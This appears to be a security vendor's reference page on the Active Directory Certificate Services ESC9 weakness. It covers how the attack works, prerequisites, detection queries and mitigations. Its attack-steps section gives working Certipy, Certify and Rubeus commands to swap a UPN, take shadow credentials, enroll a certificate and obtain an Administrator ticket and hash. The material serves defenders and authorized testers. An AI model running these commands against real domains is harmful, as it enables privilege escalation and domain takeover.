1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC9: No Security Extension

Also known as: ESC9, CT_FLAG_NO_SECURITY_EXTENSION, No security extension template, UPN swap certificate abuse

An attacker who can change one account's UPN enrolls it in a template that omits the SID extension and gets a certificate that a domain controller maps to another account.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Write access to userPrincipalName on an account that can enroll in a client authentication template flagged CT_FLAG_NO_SECURITY_EXTENSION, plus that account's credentials.
What the attacker gains
A certificate that names a privileged account by UPN and carries no SID, accepted wherever weak certificate mapping is still allowed or the SID can be supplied through ESC6.
Threat groups
APT29NIMBUS MANTICOREHAFNIUMLazarus GroupScattered SpiderTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1649, T1098.

How it works

Since the May 2022 updates described in KB5014754, an enterprise CA in Active Directory Certificate Services adds a security extension (szOID_NTDS_CA_SECURITY_EXT, OID 1.3.6.1.4.1.311.25.2) to the certificates it issues. The extension holds the SID of the account that enrolled. A domain controller that finds it can tie the certificate to exactly one account, whatever names the certificate carries. Microsoft calls this a strong mapping.

A template can opt out. When msPKI-Enrollment-Flag has the bit CT_FLAG_NO_SECURITY_EXTENSION (0x80000), the CA issues the certificate without the SID extension. All that is left to identify the owner is the subject alternative name: a user principal name (UPN) for users, a DNS name for computers. Mapping by name alone is a weak mapping.

ESC9 abuses that gap together with control of an account's UPN:

  1. The attacker controls a "victim" account well enough to write its userPrincipalName and to authenticate as it. GenericWrite gives both, because it also allows a shadow credentials attack to get the account's hash.
  2. The attacker sets the victim's UPN to the name of the target, for example administrator. The built-in Administrator has no UPN of its own by default, so there is no conflict.
  3. As the victim, the attacker enrolls in the flagged template. The CA reads the UPN from the directory and issues a certificate that says administrator, with no SID.
  4. The attacker restores the victim's UPN. Now only the real Administrator matches the name in the certificate.
  5. The attacker presents the certificate. A domain controller that still accepts weak mappings looks up the UPN and issues a ticket-granting ticket for Administrator.

Where the certificate is accepted

The last step depends on the system that validates the certificate:

  • Kerberos (PKINIT). The domain controller's StrongCertificateBindingEnforcement value decides. In Compatibility mode (1) or Disabled mode (0) a certificate without a SID falls back to name mapping. In Full Enforcement (2) it is rejected. The February 11, 2025 update moved domain controllers to Full Enforcement, and registry support for going back ended with the September 9, 2025 update.
  • ESC9 plus ESC6. If the CA also accepts subject alternative names from request attributes (ESC6), the attacker asks for the target's UPN and adds the target's SID as a SAN URL of the form tag:microsoft.com,2022-09-14:sid:<SID>. The template suppresses the real SID extension, the SAN carries the attacker's choice, and the domain controller accepts it as a strong mapping even in Full Enforcement. No UPN change is needed.
  • Schannel. Services that authenticate TLS client certificates map them under a separate setting. See ESC10.

ESC16 is the same weakness set on the CA instead of on a template.

Prerequisites

  • A published template with CT_FLAG_NO_SECURITY_EXTENSION and an authentication EKU (Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose, or no EKU).
  • An account that can enroll in that template and whose userPrincipalName the attacker can write: GenericWrite, GenericAll, or write access to the attribute or to the Public-Information property set.
  • A way to authenticate as that account: its password, its hash, or a Kerberos ticket obtained through shadow credentials.
  • A target whose own UPN does not collide with the value being set. Accounts with no UPN, such as the built-in Administrator and computer accounts, fit.
  • A validating endpoint that accepts the result: a domain controller not in Full Enforcement, or a CA that also has ESC6, or a Schannel service with UPN mapping enabled.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find templates without the security extension

Certipy marks them in its template listing:

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

An ESC9 template shows Enrollment Flag : NoSecurityExtension, Client Authentication : True and the line ESC9 : Template has no security extension. Certipy adds a remark that other prerequisites may be required, because it cannot see the domain controllers' mapping mode.

Certify 2.x does the same from Windows:

Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins

The LDAP filter behind both tools tests the flag with the bitwise matching rule:

(&(objectClass=pKICertificateTemplate)(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=524288))

2. Point the controlled account's UPN at the target

Here alice has GenericWrite over svc-web, and svc-web can enroll in the template NoSecExt. Read the current value first so it can be restored:

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -user 'svc-web' read
certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'administrator' -user 'svc-web' update

With the ActiveDirectory module on Windows:

Set-ADUser -Identity svc-web -UserPrincipalName 'Administrator'

3. Get credentials for the controlled account

If the password of svc-web is not known, the same write access allows a shadow credentials attack, which returns a credential cache and the NT hash:

certipy shadow -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -account 'svc-web' auto

4. Enroll as the controlled account

export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' -ca 'CORP-CA' -template 'NoSecExt'

Certipy reports Got certificate with UPN 'administrator@corp.example.com' and Certificate has no object SID, and writes administrator.pfx.

On Windows, run Certify in a session of the controlled account:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template NoSecExt

5. Restore the UPN

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'svc-web@corp.example.com' -user 'svc-web' update

The certificate cannot be used before this step: while two accounts answer to the same name, the lookup is ambiguous.

6. Authenticate as the target

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10 -username 'administrator' -domain 'corp.example.com'

Certipy obtains a TGT, saves administrator.ccache and recovers the account's NT hash. On Windows:

Rubeus.exe asktgt /user:Administrator /certificate:<base64-pfx> /ptt

Variant: ESC9 with ESC6

When the CA also has EDITF_ATTRIBUTESUBJECTALTNAME2, one request is enough and it works against Full Enforcement:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'NoSecExt' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500'
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10

Impact

Where the certificate is accepted, ESC9 is a privilege escalation from control of one ordinary account to any account that has no conflicting UPN, including the built-in Administrator and, through a DNS name instead of a UPN, domain controllers. The certificate stays valid for the template's validity period and survives a password reset of the impersonated account. PKINIT also returns that account's NT hash to the certificate holder.

On a fully patched estate with no ESC6 and no weak Schannel mapping, the flag alone gives no impersonation. It is then a configuration to clean up, and the open question is which other endpoints still map certificates by name.

OPSEC and artifacts

  • The UPN change is short but logged. An operator keeps the borrowed UPN in place for seconds. The domain controller still writes event 4738 with the new UserPrincipalName twice, once for the change and once for the restore, and event 5136 for the attribute when directory change auditing and a SACL cover the account.
  • A UPN without a domain part. The value administrator has no @ suffix. Legitimate provisioning almost never writes that form, which makes it a reliable detail to match.
  • Shadow credentials leave their own write. Using certipy shadow auto adds and then removes a value in msDS-KeyCredentialLink on the controlled account, another 5136 pair, followed by a PKINIT sign-in for that account.
  • The request names the controlled account. On the CA, event 4886 and event 4887 record svc-web as the requester. In the newer event version the subject alternative name shows the borrowed UPN next to it. The CA database keeps the same pair.
  • The certificate has no SID extension. That is visible in the CA database and to anyone who parses the certificate, and it is what Certipy itself prints.
  • Sign-in from the wrong place. Event 4768 on the domain controller shows a certificate pre-authentication for Administrator from the attacker's address, with the issuer and serial number of the certificate. In Compatibility mode the same sign-in also produces KDC event 39 as a warning, because the certificate had no strong mapping.
  • Files. The PFX and credential cache files stay on the operator's host.

Detection

  • UPN rewritten to another account's name. Alert on 4738 where UserPrincipalName changes to a value without a domain part, or to a value equal to another account's sAMAccountName, and on a second change shortly after. The UPN or SPN collision rules cover both forms.
  • Requester and name differ at the CA. In 4887, a SubjectAlternativeName that does not contain the requester's own name, from a template that should build the subject from the directory, is the same signal as on ESC1.
  • Weak mapping warnings. KDC events 39 and 41 on domain controllers show certificates that mapped without a SID or with the wrong one. The weak certificate mapping rules cover them and the built-in Administrator obtaining a TGT with a certificate.
  • The flag being set. A 5136 on a pKICertificateTemplate object that changes msPKI-Enrollment-Flag creates the condition. See the certificate template modification rules.
  • Key credential writes on the same account minutes before an enrollment: the shadow credentials rules.
// User accounts whose UPN was set to a value with no domain part
WindowsEvent
| where EventID == 4738 and Provider == "Microsoft-Windows-Security-Auditing"
| extend NewUpn = tostring(EventData.UserPrincipalName),
         Target = tostring(EventData.TargetUserName),
         Actor = tostring(EventData.SubjectUserName)
| where NewUpn != "-" and isnotempty(NewUpn) and NewUpn !contains "@"
| project TimeGenerated, Computer, Actor, Target, NewUpn

The CA events need the Audit Certification Services subcategory on the CA and "Issue and manage certificate requests" in the CA's audit filter.

Mitigation

  • Keep every domain controller patched and in Full Enforcement. This is the control that turns ESC9 from impersonation into a cleanup item. Check that no domain controller is behind on updates and that none still carries StrongCertificateBindingEnforcement set to 0 or 1.
  • Remove the flag. Clear CT_FLAG_NO_SECURITY_EXTENSION from every authentication template. Few uses need it. Where one does, restrict Enroll to a dedicated group and require CA certificate manager approval.
  • Fix ESC6 on every CA. With EDITF_ATTRIBUTESUBJECTALTNAME2 set, ESC9 works even in Full Enforcement.
  • Review who can write account attributes. GenericWrite and write access to userPrincipalName on accounts held by helpdesk groups, service accounts and stale delegations are the entry point here and for GenericWrite abuse in general. The Active Directory hardening guide covers the ACL review.
  • Check Schannel mapping on servers that accept client certificates, as described for ESC10.
  • Audit the CA and directory changes. Enable Audit Certification Services, the CA audit filter and directory service change auditing; the audit policy guide lists the settings.
  • After an incident, revoke the certificate, publish a CRL and reset the impersonated account's password, because its NT hash was exposed.

Detection rules for this attack

Log events to collect

FAQ

What is the ESC9 flag?

CT_FLAG_NO_SECURITY_EXTENSION, value 0x80000 in the template's msPKI-Enrollment-Flag attribute. A CA that issues from a template with this flag leaves out the SID security extension (OID 1.3.6.1.4.1.311.25.2), so the certificate identifies its owner only by name.

Does ESC9 still work when domain controllers are in Full Enforcement?

Not on its own. A domain controller in Full Enforcement rejects a certificate that has no strong mapping, and a certificate from an ESC9 template has only a UPN. It still works when the same CA also has ESC6, because the attacker can then put the target's SID into the subject alternative name, and against services that map certificates through Schannel with UPN mapping enabled.

Why does the attacker need a second account?

The CA builds the certificate from the directory attributes of the account that enrolls. The attacker rewrites the UPN of an account they control so it reads like the target, enrolls as that account, then restores the UPN. The certificate keeps the borrowed name and nothing in it points back to the account that requested it.

How is ESC9 different from ESC16?

ESC9 is a flag on one template. ESC16 is a CA setting that removes the SID extension from every certificate the CA issues. The abuse is the same; with ESC16 any client authentication template on that CA can be used.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.